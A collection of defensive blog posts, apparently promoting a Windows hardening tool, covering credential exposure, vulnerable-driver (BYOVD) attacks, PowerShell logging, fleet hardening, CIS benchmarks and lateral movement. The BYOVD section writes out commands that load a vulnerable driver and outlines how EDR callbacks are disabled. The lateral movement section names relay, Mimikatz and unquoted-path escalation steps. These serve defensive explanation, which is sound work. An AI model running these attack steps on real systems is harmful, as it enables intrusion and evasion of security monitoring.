A single infostealer — delivered via a malicious VSCode extension, a compromised npm package, or a phishing email — harvests all of this in under 5 seconds. No privilege escalation needed. No exploit required. Just file reads from the user's home directory.

Running the Audit

# Full credential exposure scan
winsentinel --audit --modules credentials

# Fix what's auto-fixable (switches git credential helper, flags stale entries)
winsentinel --fix --modules credentials

# JSON output for tracking over time
winsentinel --audit --modules credentials --json > cred-audit-$(Get-Date -Format yyyy-MM-dd).json

The module runs in 3–5 seconds. It doesn't transmit anything, doesn't phone home, and doesn't read the content of your credentials — it identifies their existence and exposure level. All checks are local, offline, and deterministic.

The Uncomfortable Truth

Most security teams focus on network perimeters, endpoint detection, and patch management. These matter. But the single fastest path from "compromised workstation" to "breached production environment" runs through cached credentials on disk. It's not glamorous. It doesn't make conference talks. But it's how the majority of real-world lateral movement actually works.

Run winsentinel --audit --modules credentials today. If you have plaintext git credentials, fix them in 30 seconds. If you have passphrase-less SSH keys accessing production systems, add passphrases. If you have AWS access keys sitting in ~/.aws/credentials, switch to SSO. These are 5-minute fixes that eliminate the cheapest, most reliable attack path into your infrastructure.

In April 2026, Microsoft's Threat Intelligence team reported that BYOVD (Bring Your Own Vulnerable Driver) attacks were present in 38% of ransomware incidents they investigated in Q1 — up from 12% in 2024. The technique is devastatingly simple: attackers don't need a kernel exploit. They just need a legitimately signed driver that happens to have a vulnerability, and Windows will happily load it for them.

Once a vulnerable driver is running in Ring 0, the attacker has kernel-level access. From there, they can disable Defender, kill EDR processes, manipulate security event logs, and establish persistence that survives reboots. Your entire user-mode security stack — every agent, every monitor, every hook — becomes irrelevant because the attacker is operating below it.

Why BYOVD Is the Perfect Attack

From an attacker's perspective, BYOVD is absurdly practical:

• No exploit development required. The vulnerable drivers already exist, are publicly documented, and are often still signed with valid certificates.
• Bypasses driver signing enforcement. Windows requires drivers to be signed — but a legitimately signed driver with a vulnerability passes that check perfectly.
• Thousands of candidates. The LOLDrivers project catalogs 700+ known vulnerable drivers. New ones surface monthly.
• Commodity tooling available. Tools like KDU (Kernel Driver Utility) and commercial C2 frameworks ship BYOVD modules out of the box.
• Works on fully patched systems. The OS itself isn't vulnerable — a third-party driver is. Patching Windows doesn't help.

The economics are stark: why spend months finding a Windows kernel zero-day when you can drop RTCore64.sys (MSI Afterburner's driver, signed by a valid certificate, exploitable since 2019) and get the same kernel access for free?

The Attack Chain in Practice

Here's how a typical BYOVD attack unfolds:

# Step 1: Attacker already has user-level access (phishing, RCE, etc.)
# They drop a known-vulnerable signed driver to disk:
copy payload.sys C:\Windows\Temp\RTCore64.sys

# Step 2: Load the driver via service control manager
sc create EvilDriver type=kernel binPath=C:\Windows\Temp\RTCore64.sys
sc start EvilDriver

# Step 3: Exploit the driver's vulnerability to get arbitrary kernel R/W
# (toolkit-specific — usually a DeviceIoControl call to an exposed IOCTL)

# Step 4: Patch kernel structures to disable Defender/EDR
# - Zero out callback registration for process/thread creation
# - Remove minifilter callbacks (filesystem monitoring)
# - Patch ETW provider registration (kill telemetry)

# Step 5: With security stack blind, deploy ransomware/exfiltrate freely

Steps 3–5 happen in under 2 seconds. By the time any alert fires (if one even can), the security stack is already dead.

Microsoft's Vulnerable Driver Blocklist: Necessary but Insufficient

Microsoft maintains a blocklist of known vulnerable drivers that Windows won't load. The problem:

• Update cadence. The blocklist ships via Windows Update. If your machine is behind on updates (and WinSentinel sees this constantly), you don't have the latest blocks.
• Coverage gaps. New vulnerable drivers are discovered faster than Microsoft adds them to the list. The LOLDrivers catalog grows monthly.
• Not enabled by default everywhere. The memory-integrity-based blocklist (HVCI) requires Virtualization-Based Security to be active. Many machines — especially older hardware or VMs — don't have it enabled.
• Bypass techniques exist. Researchers have demonstrated methods to disable the blocklist enforcement itself via BYOVD (yes, it's recursive).

The blocklist is a good layer. It's not sufficient on its own.

What WinSentinel's Driver Security Module Checks

Module #27 (Driver Security) specifically targets BYOVD preconditions and active exploitation indicators. Here's what it inspects:

$ winsentinel --audit --modules drivers

 Driver Security
 ─────────────────────────────────────────────────────
 [CRITICAL] Known vulnerable driver loaded: RTCore64.sys
   → Hash: a2f...(known BYOVD payload)
   → Matches LOLDrivers catalog entry
   → Fix: sc stop RTCore64; sc delete RTCore64; del C:\path\to\driver

 [WARNING] Unsigned driver loaded: sketchy_hw_monitor.sys
   → No valid Authenticode signature
   → Path: C:\Windows\System32\drivers\sketchy_hw_monitor.sys
   → Investigate: may be benign hardware utility or persistence

 [WARNING] HVCI (Memory Integrity) not enabled
   → Microsoft Vulnerable Driver Blocklist not enforced at hypervisor level
   → Fix: Enable via Windows Security → Device Security → Core Isolation

 [WARNING] Driver loaded from user-writable path
   → C:\Users\admin\Downloads\gpu_overclock.sys
   → Legitimate drivers should be in protected system directories

 [INFO]    3 drivers signed with expired certificates
   → Not immediately exploitable but indicates stale/abandoned software

The Specific Checks Under the Hood

WinSentinel's driver module performs five distinct analysis passes:

1. Hash matching against known-vulnerable drivers. We maintain a hash database derived from the LOLDrivers project and Microsoft's blocklist. Every loaded driver's SHA-256 is compared. This catches the most common BYOVD payloads — the 50-100 drivers that appear in actual attack toolkits.

2. Signature validation. Drivers should be signed by their vendor with a valid, non-revoked certificate. WinSentinel checks for: no signature at all, self-signed certificates, revoked certificates (check against cached CRL), and expired certificates. An unsigned driver in C:\Windows\System32\drivers is a red flag.

3. Path analysis. Legitimate drivers live in C:\Windows\System32\drivers\ or vendor-specific subdirectories with proper ACLs. A driver loaded from C:\Users\, C:\Temp\, or C:\ProgramData\ is suspicious — it suggests something loaded it outside the normal installation flow.

4. HVCI / VBS status. If Virtualization-Based Security and Hypervisor-enforced Code Integrity (HVCI) are enabled, the kernel memory integrity protection is active and the Microsoft blocklist is enforced at the hypervisor level. This is the strongest mitigation against BYOVD. WinSentinel checks whether it's available (requires compatible hardware) and whether it's enabled.

5. Driver age and vendor analysis. Drivers from vendors that no longer exist, or drivers that haven't been updated in 5+ years, are more likely to contain unpatched vulnerabilities. WinSentinel flags ancient drivers as informational findings — not immediately critical, but worth investigating.

Hardening Against BYOVD: The Practical Playbook

You can't prevent BYOVD entirely (you'd have to block all kernel drivers, which breaks hardware). But you can make it dramatically harder:

Enable HVCI (Memory Integrity). This is the single most effective mitigation. It enforces the vulnerable driver blocklist at the hypervisor level, which attackers can't easily bypass from user mode.

# Check current status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select VirtualizationBasedSecurityStatus, CodeIntegrityPolicyEnforcementStatus

# Enable via registry (requires reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 1 /f

Keep Windows Update current. The vulnerable driver blocklist updates ship via cumulative updates. Falling behind on patches means your blocklist is stale. WinSentinel's Update module flags machines more than 14 days behind — now you know why that matters beyond just patching.

Audit loaded drivers regularly. Run winsentinel --audit --modules drivers weekly. New vulnerable drivers appear in attack toolkits before they hit Microsoft's blocklist. WinSentinel's hash database updates more frequently than the OS blocklist.

Restrict driver installation. Standard users shouldn't be able to install drivers. Verify that only administrators can load kernel drivers:

# Check driver installation policy
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverInstall\Restrictions" -ErrorAction SilentlyContinue

# Restrict to admins only
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DriverInstall\Restrictions" /v AllowUserDeviceClasses /t REG_DWORD /d 0 /f

Remove unnecessary hardware utilities. That RGB controller software you installed for your keyboard? It probably loaded a kernel driver with an exposed IOCTL. MSI Afterburner, ASUS AI Suite, EVGA Precision — all have shipped drivers that appear on the LOLDrivers list. If you don't actively use the software, uninstall it and remove the driver.

Why This Matters More Every Month

BYOVD is trending upward because it's the logical response to improving user-mode security. As Defender, EDR tools, and application control get better at blocking traditional attacks, adversaries move to the one layer that can override everything: the kernel. And they don't need to find new vulnerabilities — the legacy driver ecosystem provides a nearly infinite supply of signed, exploitable kernel code.

The pattern is clear in threat reports: Scattered Spider uses BYOVD. BlackCat ransomware affiliates use BYOVD. The Lazarus Group uses BYOVD. It's not a sophisticated nation-state technique anymore — it's a commodity tactic available to any ransomware operator with a $500 toolkit.

Run winsentinel --audit --modules drivers today. If HVCI isn't enabled, enable it. If you have ancient hardware utility drivers loaded, remove them. And if WinSentinel flags a known-vulnerable driver hash — investigate immediately. That's not a false positive. That's either a dangerously outdated utility or active exploitation.

Every red team engagement I've been part of in the last five years has used PowerShell. Every single one. It's pre-installed, it's trusted by application control policies, it has full access to .NET and WMI, and on most machines it logs nothing. From an attacker's perspective, it's the perfect living-off-the-land binary.

But here's what most defenders miss: PowerShell is also the only Windows subsystem that offers full keystroke-level logging of attacker behavior — if you turn it on. A properly hardened PowerShell configuration transforms the attacker's favorite tool into a forensic tripwire that records everything they do.

The Five Controls That Matter

PowerShell hardening isn't about restricting functionality (that breaks admin workflows). It's about ensuring visibility and limiting the execution surface. Five specific controls cover 95% of the defensive value:

1. Script Block Logging

This is the single most important PowerShell security control. When enabled, every script block that PowerShell executes gets logged to the Microsoft-Windows-PowerShell/Operational event log — including dynamically generated code, decoded Base64 payloads, and deobfuscated strings.

Why it matters: attackers routinely encode their payloads to evade static detection. A command like powershell -enc SQBFAFgA... looks opaque in process logs. But Script Block Logging records the decoded output — the actual malicious commands — because logging happens after PowerShell's parser processes the input.

# Enable via registry (immediate, no reboot)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
  -Name "EnableScriptBlockLogging" -Value 1 -Type DWord -Force

# Verify
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
# EnableScriptBlockLogging: 1

WinSentinel's PowerShell Security module checks this automatically and flags it as Critical if disabled. This is non-negotiable on any machine you care about defending.

2. Transcription Logging

Script Block Logging captures what PowerShell executes. Transcription captures the full interactive session — input, output, timestamps. Think of it as a screen recording of every PowerShell console session on the machine.

# Enable transcription to a protected directory
New-Item -Path "C:\PSTranscripts" -ItemType Directory -Force
icacls "C:\PSTranscripts" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F"

Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "EnableTranscripting" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "OutputDirectory" -Value "C:\PSTranscripts" -Type String -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "EnableInvocationHeader" -Value 1 -Type DWord -Force

The invocation header adds timestamps and the user context to each transcript block. Critical for incident timeline reconstruction.

Important: Set ACLs on the transcript directory so standard users can write but not read or delete. Attackers who gain user-level access shouldn't be able to tamper with their own forensic trail.

3. Module Logging

Module logging records which PowerShell modules and cmdlets are invoked, along with their parameters. It's less granular than Script Block Logging but provides structured event data that integrates well with SIEM correlation rules.

# Enable for all modules
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
  -Name "EnableModuleLogging" -Value 1 -Type DWord -Force

# Log all modules (wildcard)
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" `
  -Name "*" -Value "*" -Type String -Force

The wildcard means every module gets logged. On busy admin machines this generates volume, but the forensic value is immense. Target specific modules (like Microsoft.PowerShell.Management, NetTCPIP) if log volume is a concern.

4. Constrained Language Mode

This is the most aggressive control and the one most likely to break legitimate workflows. Constrained Language Mode (CLM) restricts PowerShell to a subset of the language — no direct .NET method calls, no COM objects, no Add-Type compilations. This cripples 90% of offensive PowerShell tooling (Mimikatz loaders, AMSI bypasses, reflective injection) while leaving basic administrative cmdlets functional.

# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Should return: ConstrainedLanguage (on locked-down machines)
# Typically returns: FullLanguage (on most machines)

Enforcing CLM properly requires Windows Defender Application Control (WDAC) or AppLocker in Allow mode. Without an application control policy backing it, CLM can be trivially bypassed by spawning a new powershell.exe process. WinSentinel checks whether CLM is enforced and whether the enforcement mechanism is sound.

Recommendation: Enable CLM on endpoint machines (standard users). Leave FullLanguage on admin jump boxes where you need the flexibility. WinSentinel flags FullLanguage as a Warning (not Critical) because the right answer depends on the machine's role.

5. AMSI Integrity

The Antimalware Scan Interface (AMSI) is Windows' hook that lets Defender (or any AV) inspect PowerShell commands before execution. Attackers bypass AMSI as their first post-exploitation step — usually with a one-liner that patches the amsi.dll scan function in memory.

You can't prevent AMSI bypasses purely through configuration (they exploit in-memory patching). But you can ensure AMSI is at least present and functional at session start:

# Verify AMSI is loaded and functional
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') # Should exist
# WinSentinel checks for known AMSI bypass artifacts in PowerShell profiles

WinSentinel also inspects all PowerShell profile files ($PROFILE, AllUsersAllHosts, etc.) for known AMSI bypass patterns. Attackers frequently drop persistence in profile scripts that disable AMSI on every new session.

What About Execution Policy?

Execution policy is not a security boundary. Microsoft says so explicitly in their documentation. It's a safety net to prevent users from accidentally running scripts, not a defense against attackers. Any attacker can bypass it with powershell -ExecutionPolicy Bypass or by piping content directly.

That said, Unrestricted is still worse than RemoteSigned because it removes even the accidental-execution protection. WinSentinel flags Unrestricted as a Warning and recommends RemoteSigned as the sane default for admin machines.

# Set to RemoteSigned (allows local scripts, requires signatures on downloaded scripts)
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine -Force

The WinSentinel PowerShell Module Check

Running winsentinel --audit --modules powershell checks all five controls in under 2 seconds:

$ winsentinel --audit --modules powershell

 PowerShell Security
 ─────────────────────────────────────────────────────
 [CRITICAL] Script Block Logging is disabled
   → Attacker commands will not be recorded
   → Fix: Enable via registry or GPO

 [CRITICAL] Transcription logging is disabled
   → No session recording for forensics
   → Fix: Set OutputDirectory and enable

 [WARNING] Module Logging is disabled
   → Cmdlet invocations not captured
   → Fix: Enable with wildcard module list

 [WARNING] Execution Policy set to Unrestricted
   → No protection against accidental script execution
   → Fix: Set-ExecutionPolicy RemoteSigned

 [INFO]    Language Mode: FullLanguage
   → .NET and COM access available to all scripts
   → Consider CLM with WDAC on endpoint machines

Auto-fix with winsentinel --fix --modules powershell enables Script Block Logging, Transcription, and Module Logging, and sets execution policy to RemoteSigned. It won't enable CLM automatically because that requires application control policy validation first.

Why This Matters More Than You Think

According to the 2025 Mandiant M-Trends report, PowerShell was used in 68% of intrusions involving Windows endpoints. In 74% of those cases, no PowerShell logging was configured — meaning defenders had zero forensic evidence of what the attacker executed.

The irony is brutal: the tool that gives attackers the most power is also the tool that can give defenders the most visibility. The difference is three registry keys. Three keys that take 30 seconds to set and make the difference between "we have no idea what the attacker did" and "here's a full transcript of every command they ran."

Run winsentinel --audit --modules powershell right now. If Script Block Logging isn't enabled, you're flying blind to the most common post-exploitation technique on Windows. Fix it today.

There's a specific inflection point in IT administration that nobody warns you about. At 5 machines, you can SSH or RDP into each one and check things manually. At 15, you develop scripts and a spreadsheet. At 50, your spreadsheet has tabs for the other spreadsheets, your scripts have scripts, and you're one sick day away from nobody knowing which machines got last month's hardening changes.

I've been the sole IT admin for a 60-machine environment. I've also managed security for a 200-seat org with a team of three. The problems are the same — they just compound differently. Here's what I learned about keeping Windows endpoints hardened at scale without burning out or buying a $200K platform.

The Core Problem: Drift at Scale

A single machine drifts from your security baseline for predictable reasons: a user disables Defender to run a sketchy installer, Windows Update pauses during a presentation and never resumes, someone enables RDP for a quick troubleshooting session and forgets to turn it off. On one machine, you notice. On 50, drift is invisible until an auditor finds it — or an attacker does.

The math is brutal. If each machine has a 5% chance of developing a misconfiguration per week, after one month you have ~10 machines with at least one security gap. After a quarter, it's nearly your entire fleet. This isn't theoretical — it's what we see in every environment that relies on periodic manual checks.

Tier 1: Every Machine Defends Itself

The foundation of scalable security isn't centralized scanning — it's local autonomy. Each machine should be capable of detecting and correcting its own misconfigurations without waiting for a human or a central server to tell it what to do.

This is what WinSentinel's free tier delivers. Install it on every endpoint:

# Deploy via your existing software distribution (SCCM, PDQ, Intune, GPO logon script)
dotnet tool install --global WinSentinel.Cli

# Set up daily self-audit with auto-fix for critical findings
winsentinel schedule create --cadence daily --time 05:30
winsentinel --fix --severity critical --auto-approve

Each machine now runs all 33 audit modules daily and auto-remediates critical drift. Disabled Defender gets re-enabled. Firewall profiles get restored. UAC gets un-neutered. No human in the loop for known-good fixes.

This alone puts you ahead of 90% of environments relying on quarterly Nessus scans.

Tier 2: Visibility Across the Fleet

Local agents solving local problems is great, but at 50 machines you need answers to fleet-level questions:

• How many machines are below our 85/100 score threshold right now?
• Which endpoints haven't reported in over 48 hours (dead agent)?
• Are all machines running the same WinSentinel version?
• Which specific findings are most prevalent across the fleet?
• Did last week's GPO change actually improve scores or introduce regressions?

This is where WinSentinel Pro's central node comes in. It doesn't replace the local agents — they still run independently with full detection and remediation capability. The central node aggregates their reports into fleet-wide views:

# On the central node
winsentinel-pro fleet status

┌──────────────────────────────────────────────────┐
│ Fleet Health: 47/50 machines reporting            │
│ Average Score: 89/100                            │
│ Below Threshold (85): 4 machines                 │
│ Critical Findings: 2 (DESKTOP-FIN03, LAPTOP-MK7) │
│ Last Full Sweep: 2h ago                          │
└──────────────────────────────────────────────────┘

Tier 3: Policy as Code

The most painful part of managing 50 machines isn't finding problems — it's ensuring consistent policy. Machine A should allow RDP (it's a jump box). Machine B should never have RDP (it's a developer workstation with SSH keys). Machine C needs BitLocker enforced (it's a laptop that leaves the building). Machine D doesn't (it's a locked-in-a-rack server).

This is role-based policy, and it's where most manual approaches collapse. You can't maintain 4 different hardening scripts and remember which applies where. You need policy definitions that travel with machine roles:

# winsentinel-pro policy definitions
policies:
  developer-workstation:
    rdp: disabled
    bitlocker: required
    defender: enforced
    usb-autorun: disabled
    powershell-logging: enabled
    max-update-age-days: 14

  shared-kiosk:
    rdp: disabled
    bitlocker: required
    defender: enforced
    usb: blocked
    guest-account: disabled
    max-update-age-days: 7

Define once, assign to machine groups, enforce everywhere. When a machine drifts from its assigned policy, the local agent corrects it. The central node reports the drift event for audit purposes.

The Workflow That Actually Works

After years of iteration, here's the workflow I recommend for 50-100 machine environments:

Daily (automated):

• Every endpoint runs winsentinel --audit at 05:30 before users log in
• Critical findings auto-remediate via --fix --severity critical
• Results push to central node

Weekly (10 minutes of your time):

• Review fleet dashboard for machines below threshold
• Investigate any non-reporting agents (crashed service? network issue? decommissioned machine nobody told you about?)
• Review warning-level findings that weren't auto-fixed — decide which to approve for remediation

Monthly (30 minutes):

• Export compliance report for stakeholders
• Review score trends — is the fleet improving or degrading?
• Update policies if new hardening requirements emerge (new compliance mandate, new attack technique to mitigate)

Quarterly:

• Full policy review against current CIS benchmark version
• Agent version audit — ensure all endpoints are on current release
• Decommission stale machine records

What This Replaces

Without this approach, the typical 50-machine workflow looks like:

• Monthly Nessus scan (4 hours to configure, run, triage)
• Spreadsheet tracking of findings (2 hours to update)
• Tickets created for each machine's owner (1 hour)
• Follow-up on un-remediated findings (3 hours/month of nagging)
• Quarterly compliance reporting (full day of spreadsheet wrestling)

That's 15+ hours per month of manual work that produces worse results than automated daily checks with centralized reporting. The machines aren't more secure with monthly scans — they're just more documented.

Getting Started Today

You don't need Pro to start. Install the free CLI on every machine, set up daily schedules, and export JSON results to a shared folder. A simple PowerShell script can parse those JSONs into a fleet summary. When you outgrow that approach — when you need real-time alerting, policy enforcement, and compliance rollups — Pro is there. But the hardening happens at the endpoint, for free, today.

# Minimal fleet visibility with free tools
# Each machine exports daily:
winsentinel --audit --json > "\\fileserver\security-reports\$env:COMPUTERNAME-$(Get-Date -Format yyyy-MM-dd).json"

# Simple aggregation script on your admin machine:
Get-ChildItem "\\fileserver\security-reports\*-$(Get-Date -Format yyyy-MM-dd).json" |
  ForEach-Object { $j = Get-Content $_ | ConvertFrom-Json; [PSCustomObject]@{Machine=$j.hostname; Score=$j.score; Criticals=$j.criticalCount} } |
  Sort-Object Score |
  Format-Table

Start with local agents. Graduate to centralized orchestration when the fleet demands it. Either way, your machines harden themselves daily instead of waiting for you to remember to check.

If you've ever opened the CIS Microsoft Windows 11 Benchmark PDF, you know the feeling: 400+ pages, 300+ individual recommendations, organized into 19 sections. It's comprehensive, authoritative, and completely overwhelming if you're trying to figure out where to start.

I've spent years implementing these benchmarks across enterprise environments. Here's what I wish someone had told me on day one: you don't need to implement all 300+ controls to dramatically improve your security posture. About 40 controls cover 80% of the attack surface that matters. And WinSentinel checks most of them automatically.

What CIS Benchmarks Actually Are

CIS Benchmarks are consensus-driven configuration standards. A community of security professionals votes on each recommendation. Every control gets a Level 1 (should apply everywhere without breaking things) or Level 2 (higher security, may impact usability) designation. There's also a "Bitlocker" section for full-disk encryption.

The key insight: these aren't vulnerability scans. They're configuration checks. They verify that Windows is set up defensively — not that you're missing a patch. Patch management is a separate concern. CIS is about ensuring the OS isn't leaving doors open by default.

The High-Impact Categories

Here's where the real risk lives, mapped to CIS section numbers:

• Section 2 — Local Policies: Password policy, account lockout, user rights assignments. The classic "admin logged in with no lockout threshold" scenario.
• Section 5 — System Services: Disabling unnecessary services (Remote Registry, SSDP, UPnP). Every running service is attack surface.
• Section 9 — Windows Firewall: Ensuring all profiles (Domain, Private, Public) are enabled with sane defaults. I've seen machines with Public profile disabled because a VPN installer turned it off in 2019.
• Section 18 — Administrative Templates: The monster section. Covers everything from disabling autorun to enforcing SMB signing to preventing credential caching.
• Section 2.3 — Security Options: UAC configuration, LAN Manager authentication level, LDAP signing. This is where Active Directory credential theft gets prevented.

What WinSentinel Checks Today

WinSentinel's audit modules map directly to the highest-impact CIS controls without requiring you to read the 400-page PDF. Here's the mapping:

CIS Section → WinSentinel Module
───────────────────────────────────────────────────
9.1-9.3 (Firewall)        → Firewall audit
5.x   (Services)          → Services security
18.4  (Network/SMB)       → Network posture
18.9  (Windows Update)    → Update compliance
18.9  (Defender)           → Defender audit
2.3   (Security Options)  → User accounts, RDP
18.8  (PowerShell)        → PowerShell security
17.x  (Audit Policies)    → (planned)
18.1  (Privacy)           → Privacy & telemetry

When you run winsentinel --audit, you're effectively running through the Level 1 controls that matter most — but instead of getting a pass/fail spreadsheet, you get actionable remediation commands.

A Practical Example: SMB Signing

CIS control 2.3.8.1 recommends enabling SMB packet signing. Why? Without it, an attacker on your network can perform relay attacks — intercepting authentication attempts and replaying them to gain access to file shares or execute code.

The CIS benchmark tells you to set Microsoft network client: Digitally sign communications (always) to Enabled. Helpful, but you need to know it lives in secpol.msc → Local Policies → Security Options or map it to the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature.

WinSentinel's network posture module checks this automatically and flags it as a finding with the exact reg add command to fix it. No PDF lookup required.

Level 1 vs Level 2: Where to Draw the Line

For most environments, Level 1 controls are your target. They're designed to be implementable without breaking applications or frustrating users. Level 2 controls add restrictions like:

• Disabling camera access entirely
• Blocking all app installations outside the Microsoft Store
• Setting maximum machine account password age to 30 days
• Restricting NTLM authentication completely

Level 2 is appropriate for high-security environments (financial services, healthcare with PHI exposure, government systems). For developer workstations and general corporate machines, Level 1 plus targeted Level 2 controls is the sweet spot.

Using CIS Compliance for Audit Evidence

If your organization faces SOC 2, HIPAA, or internal compliance audits, CIS benchmark adherence is accepted as evidence for multiple control families. A WinSentinel audit report showing green across firewall, Defender, services, and user account modules directly supports:

• SOC 2 CC6.1: Logical and physical access controls
• SOC 2 CC6.6: Security measures against threats outside system boundaries
• SOC 2 CC7.1: Detection and monitoring
• HIPAA §164.312(a): Access controls
• HIPAA §164.312(c): Integrity controls

Run the audit, export the results, attach to your compliance evidence repository. That's the workflow.

Getting Started

Install WinSentinel and run a full audit. Compare the findings against the CIS Windows 11 Benchmark (free PDF download with registration). You'll find that most critical findings from WinSentinel directly correspond to CIS Level 1 failures.

For fleet environments, WinSentinel Pro aggregates these compliance results across all your machines into a single dashboard — so you can see which endpoints deviate from your baseline and track remediation progress across the organization.

# Quick start: full audit with compliance-relevant output
winsentinel --audit

# Target specific modules matching CIS sections
winsentinel --audit --modules firewall,services,network,defender,accounts

The gap between "we follow CIS benchmarks" and actually following them is usually tooling. Nobody reads a 400-page PDF weekly. But running a 30-second audit that maps to those same controls? That's sustainable compliance.

The traditional security workflow looks like this: a scanner runs, findings populate a dashboard, a human triages the dashboard, creates tickets, assigns tickets, and eventually someone fixes the issue. Elapsed time from vulnerability to remediation? Industry average: 60 days. That's not a security program. That's a documentation program.

The alternative is agent-based security: software that runs on the endpoint, detects misconfigurations in real-time, and either fixes them immediately or alerts with enough context that remediation takes seconds instead of sprints.

The Dashboard Tax

Every centralized dashboard imposes what I call the "dashboard tax" — the human time required to translate visual information into action. Consider a typical vulnerability management workflow:

• Scan runs (scheduled weekly or monthly)
• Results aggregate into a web UI with 400+ findings across 50 machines
• Analyst triages — spends 2 hours sorting by severity, eliminating false positives
• Tickets created — another hour mapping findings to owners
• Owners investigate — they don't have the scanner's context, so they reproduce locally
• Fix applied — sometimes. If it doesn't break anything. Eventually.

That's 6+ hours of human labor per scan cycle, and the vulnerability existed the entire time. Multiply by monthly scans and you have configurations that stay broken for weeks between detection cycles.

The Agent Model

An agent-based approach collapses this entire pipeline:

• Agent detects misconfiguration the moment it appears (configuration drift, disabled service, new vulnerable setting)
• Agent remediates immediately if policy allows auto-fix
• Agent reports what it found and what it did — not "here's a problem for you to solve"

Time from misconfiguration to remediation: seconds. Human time required: zero for auto-fixable issues.

This is how WinSentinel works. The CLI runs locally on the machine — no cloud round-trip, no dashboard delay. When you run winsentinel --audit, checks execute against live system state using native Windows APIs. When you run winsentinel --fix, remediation happens immediately with the same elevated context that detected the problem.

Why Local Execution Matters

Remote scanners face a fundamental limitation: they can only see what's exposed over the network. They can't check:

• Whether PowerShell transcription logging is enabled (registry + GP state)
• Whether a service binary path is unquoted (requires WMI enumeration)
• Whether AMSI is intact or has been tampered with (in-process check)
• Whether BitLocker recovery keys are properly escrowed (TPM state)
• Whether USB AutoRun is disabled (local policy evaluation)

These are all local configuration states invisible to network-based scanners. An agent running on the machine sees everything — because it is the machine.

Continuous vs. Periodic

Dashboards are snapshots. Even if you scan daily, that's 23 hours and 59 minutes of blind time between scans. Configuration drift doesn't wait for your scan schedule.

Common drift scenarios that happen between scans:

• Developer disables Defender to run a tool, forgets to re-enable it
• Windows Update gets paused during a demo, never resumed
• IT pushes a GPO change that accidentally opens RDP on the Public profile
• A software installer re-enables SMBv1 as a dependency

With scheduled WinSentinel runs (winsentinel schedule create --cadence hourly), drift is detected within the hour. With --fix policies, it's corrected automatically. The machine self-heals.

The Fleet Dimension

For a single machine, the free WinSentinel CLI gives you the full agent experience: all 33 audit modules, auto-fix, scheduled monitoring, JSON export. One machine, full power, no limits.

The challenge emerges at scale. When you manage 50 or 200 machines, you need:

• Centralized visibility into which machines are drifting
• Compliance rollups across the fleet ("are all machines above 85/100?")
• Policy push — define a baseline once, enforce everywhere
• Agent health monitoring — is the agent actually running on every endpoint?

That's what WinSentinel Pro's central node provides: fleet orchestration that aggregates the local agents' findings without replacing them. The intelligence stays at the edge. The coordination happens centrally.

When Dashboards Still Make Sense

I'm not arguing dashboards have zero value. They're useful for:

• Trend analysis — is our security posture improving month over month?
• Executive reporting — compliance status for auditors and boards
• Correlation — connecting findings across different security domains

But these are reporting functions, not security functions. The actual security — detecting and fixing misconfigurations — should happen at the endpoint, immediately, without human intervention for known-good fixes.

The Practical Takeaway

If your current security workflow involves a human looking at a dashboard to decide whether a machine is configured correctly, you're paying the dashboard tax. Every day that gap exists between detection and remediation is a day an attacker can exploit it.

# Replace your monthly scan-and-ticket cycle with:
winsentinel schedule create --cadence daily --time 06:00
winsentinel --fix --severity critical --auto-approve

The machine checks itself every morning before anyone logs in. Critical misconfigurations get fixed immediately. You get a report of what changed. No dashboard, no tickets, no 60-day remediation window.

That's not futuristic. That's a dotnet tool install away.

Lateral movement is the phase of an attack most defenders miss. The initial compromise - a phishing email, a vulnerable service - gets the attacker onto one machine. But the real damage happens when they move from that beachhead to domain controllers, file servers, and credential stores. The uncomfortable truth: most Windows machines are configured to make lateral movement trivially easy.

The Anatomy of a Typical Pivot

Here's a realistic scenario we see over and over in incident response reports:

• Step 1: Attacker lands on a developer workstation via a malicious npm package. Gets a reverse shell running as the logged-in user.
• Step 2: Runs net view /domain and nltest /dclist: to enumerate the network. LLMNR responds to typo'd queries, giving them NetNTLMv2 hashes for free.
• Step 3: SMBv1 is enabled on three machines. They exploit EternalBlue variants or simply relay captured hashes via ntlmrelayx.
• Step 4: Finds a service with an unquoted path running as SYSTEM. Drops a binary in the gap. Privilege escalation complete.
• Step 5: Uses the SYSTEM token to extract cached credentials with Mimikatz. One of those credentials is a domain admin who logged in last Tuesday.

Total time from landing to domain admin: under 4 minutes in a lab. Under an hour in most real environments.

The Misconfigurations That Made It Possible

Every step in that chain depended on a misconfiguration that WinSentinel flags:

LLMNR/NBT-NS enabled (Network Posture module) - These legacy name-resolution protocols broadcast credentials to anyone listening on the local subnet. WinSentinel's network posture audit checks both and flags them as warnings. The fix is a single registry key or GPO setting, but most machines never get it applied.

# WinSentinel finding:
[WARNING] LLMNR is enabled - vulnerable to hash capture attacks
  Fix: Set HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast = 0
  Risk: Attacker on local network can capture NTLMv2 hashes via Responder

